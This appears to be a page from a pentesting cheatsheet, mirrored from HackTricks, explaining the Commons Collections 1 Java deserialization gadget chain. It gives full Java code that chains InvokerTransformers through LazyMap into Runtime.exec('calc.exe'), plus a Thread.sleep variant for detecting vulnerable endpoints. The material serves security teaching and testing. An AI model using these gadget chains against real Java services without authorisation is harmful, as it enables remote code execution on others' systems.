daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

java-transformers-to-rutime-exec-payload.md (9016B)


      1 ---
      2 title: "CommonsCollections1 Payload - Java Transformers to Runtime.exec() and Thread.sleep()"
      3 section: "Web Pentesting"
      4 sectionSlug: "pentesting-web"
      5 sourcePath: "src/pentesting-web/deserialization/java-transformers-to-rutime-exec-payload.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/deserialization/java-transformers-to-rutime-exec-payload.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # CommonsCollections1 Payload - Java Transformers to Runtime.exec() and Thread.sleep()
     14 
     15 ## Java Transformers to Runtime.exec()
     16 
     17 Java deserialization payloads commonly use transformers from Apache Commons Collections, as in the following example.<sup>[[1]](#references)</sup>
     18 
     19 ```java
     20 import org.apache.commons.*;
     21 import org.apache.commons.collections.*;
     22 import org.apache.commons.collections.functors.*;
     23 import org.apache.commons.collections.map.*;
     24 import java.io.*;
     25 import java.lang.reflect.InvocationTargetException;
     26 import java.util.Map;
     27 import java.util.HashMap;
     28 
     29 public class CommonsCollections1PayloadOnly {
     30     public static void main(String... args) {
     31         String[] command = {"calc.exe"};
     32         final Transformer[] transformers = new Transformer[]{
     33                 new ConstantTransformer(Runtime.class), //(1)
     34                 new InvokerTransformer("getMethod",
     35                         new Class[]{ String.class, Class[].class},
     36                         new Object[]{"getRuntime", new Class[0]}
     37                 ), //(2)
     38                 new InvokerTransformer("invoke",
     39                         new Class[]{Object.class, Object[].class},
     40                         new Object[]{null, new Object[0]}
     41                 ), //(3)
     42                 new InvokerTransformer("exec",
     43                         new Class[]{String.class},
     44                         command
     45                 ) //(4)
     46         };
     47         ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
     48         Map map = new HashMap<>();
     49         Map lazyMap = LazyMap.decorate(map, chainedTransformer);
     50 
     51         //Execute gadgets
     52         lazyMap.get("anything");
     53     }
     54 }
     55 ```
     56 
     57 Without familiarity with Java deserialization payloads, it can be difficult to see why this code launches Calculator.
     58 
     59 First of all you need to know that a **Transformer in Java** is something that **receives a class** and **transforms it to a different one**.\
     60 Also it's interesting to know that the **payload** being **executed** here is **equivalent** to:
     61 
     62 ```java
     63 Runtime.getRuntime().exec(new String[]{"calc.exe"});
     64 ```
     65 
     66 Or **more exactly**, what is going to be executed at the end would be:
     67 
     68 ```java
     69 ((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});
     70 ```
     71 
     72 ### How
     73 
     74 So, how is the first payload presented equivalent to those "simple" one-liners?
     75 
     76 **First**, notice that the payload creates a **chain (array) of transformers**:
     77 
     78 ```java
     79 String[] command = {"calc.exe"};
     80 final Transformer[] transformers = new Transformer[]{
     81         //(1) - Get gadget Class (from Runtime class)
     82         new ConstantTransformer(Runtime.class),
     83 
     84         //(2) - Call from gadget Class (from Runtime class) the function "getMetod" to obtain "getRuntime"
     85         new InvokerTransformer("getMethod",
     86                 new Class[]{ String.class, Class[].class},
     87                 new Object[]{"getRuntime", new Class[0]}
     88         ),
     89 
     90         //(3) - Call Runtime.class.getMethod("getRuntime") to obtain a Runtime object
     91         new InvokerTransformer("invoke",
     92                 new Class[]{Object.class, Object[].class},
     93                 new Object[]{null, new Object[0]}
     94         ),
     95 
     96         //(4) - Use the Runtime object to call exec with arbitrary commands
     97         new InvokerTransformer("exec",
     98                 new Class[]{String.class},
     99                 command
    100         )
    101 };
    102 ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    103 ```
    104 
    105 Chaining the transformations in this array produces the final arbitrary-command execution call.
    106 
    107 So, **how are those transforms chained?**
    108 
    109 ```java
    110 Map map = new HashMap<>();
    111 Map lazyMap = LazyMap.decorate(map, chainedTransformer);
    112 lazyMap.get("anything");
    113 ```
    114 
    115 In the last section of the payload you can see that a **Map object is created**. Then, the function `decorate` is executed from `LazyMap` with the map object and the chained transformers. From the following code you can see that this will cause the **chained transformers** to be copied inside `lazyMap.factory` attribute:
    116 
    117 ```java
    118 protected LazyMap(Map map, Transformer factory) {
    119     super(map);
    120     if (factory == null) {
    121         throw new IllegalArgumentException("Factory must not be null");
    122     }
    123     this.factory = factory;
    124 }
    125 ```
    126 
    127 And then the great finale is executed: `lazyMap.get("anything");`
    128 
    129 This is the code of the `get` function:
    130 
    131 ```java
    132 public Object get(Object key) {
    133     if (map.containsKey(key) == false) {
    134         Object value = factory.transform(key);
    135         map.put(key, value);
    136         return value;
    137     }
    138     return map.get(key);
    139 }
    140 ```
    141 
    142 And this is the code of the `transform` function
    143 
    144 ```java
    145 public Object transform(Object object) {
    146     for (int i = 0; i < iTransformers.length; i++) {
    147         object = iTransformers[i].transform(object);
    148     }
    149     return object;
    150 }
    151 ```
    152 
    153 The **factory** contains **`chainedTransformer`**, and its **`transform`** function walks through the transformers one after another. Each transformer receives **`object`** as input, while `object` holds the previous transformer's output. This data flow chains the operations that execute the payload.
    154 
    155 ### Summary
    156 
    157 Because `LazyMap` invokes the chained transformers from its `get` method, the result is equivalent to executing the following code:
    158 
    159 ```java
    160 Object value = "something";
    161 
    162 value = new ConstantTransformer(Runtime.class).transform(value); //(1)
    163 
    164 value = new InvokerTransformer("getMethod",
    165                 new Class[]{ String.class, Class[].class},
    166                 new Object[]{"getRuntime", null}
    167         ).transform(value); //(2)
    168 
    169 value = new InvokerTransformer("invoke",
    170                 new Class[]{Object.class, Object[].class},
    171                 new Object[]{null, new Object[0]}
    172         ).transform(value); //(3)
    173 
    174 value = new InvokerTransformer("exec",
    175                 new Class[]{String.class},
    176                 command
    177         ).transform(value); //(4)
    178 ```
    179 
    180 _Note how `value` is the input to each transform and the output of the previous transform, allowing execution of the following one-liner:_
    181 
    182 ```java
    183 ((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});
    184 ```
    185 
    186 The explanation above covers the gadgets in the **CommonsCollections1** payload, but not the deserialization trigger that starts the chain. The [**ysoserial implementation**](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java) uses an `AnnotationInvocationHandler` object so that deserialization reaches the decorated map and invokes the operation that executes the chain.<sup>[[1]](#references)</sup>
    187 
    188 ## Java Thread Sleep
    189 
    190 This time-delay payload can help identify a vulnerable endpoint because successful execution makes the target thread sleep.
    191 
    192 ```java
    193 import org.apache.commons.*;
    194 import org.apache.commons.collections.*;
    195 import org.apache.commons.collections.functors.*;
    196 import org.apache.commons.collections.map.*;
    197 import java.io.*;
    198 import java.lang.reflect.InvocationTargetException;
    199 import java.net.MalformedURLException;
    200 import java.net.URL;
    201 import java.util.Map;
    202 import java.util.HashMap;
    203 
    204 public class CommonsCollections1Sleep {
    205     public static void main(String... args) {
    206         final Transformer[] transformers = new Transformer[]{
    207         		new ConstantTransformer(Thread.class),
    208         		new InvokerTransformer("getMethod",
    209         		        new Class[]{
    210         		                String.class, Class[].class
    211         		        },
    212         		        new Object[]{
    213         		                "sleep", new Class[]{Long.TYPE}
    214         		        }),
    215         		new InvokerTransformer("invoke",
    216         		        new Class[]{
    217         		                Object.class, Object[].class
    218         		        }, new Object[]
    219         		        {
    220         		                null, new Object[] {7000L}
    221         		        }),
    222         };
    223 
    224         ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    225         Map map = new HashMap<>();
    226         Map lazyMap = LazyMap.decorate(map, chainedTransformer);
    227 
    228         //Execute gadgets
    229         lazyMap.get("anything");
    230 
    231     }
    232 }
    233 ```
    234 
    235 ## More Gadgets
    236 
    237 You can find more gadgets here: [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html)<sup>[[1]](#references)</sup>
    238 
    239 ## References
    240 
    241 - [1] [Blind Java Deserialization - Commons Gadgets](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html)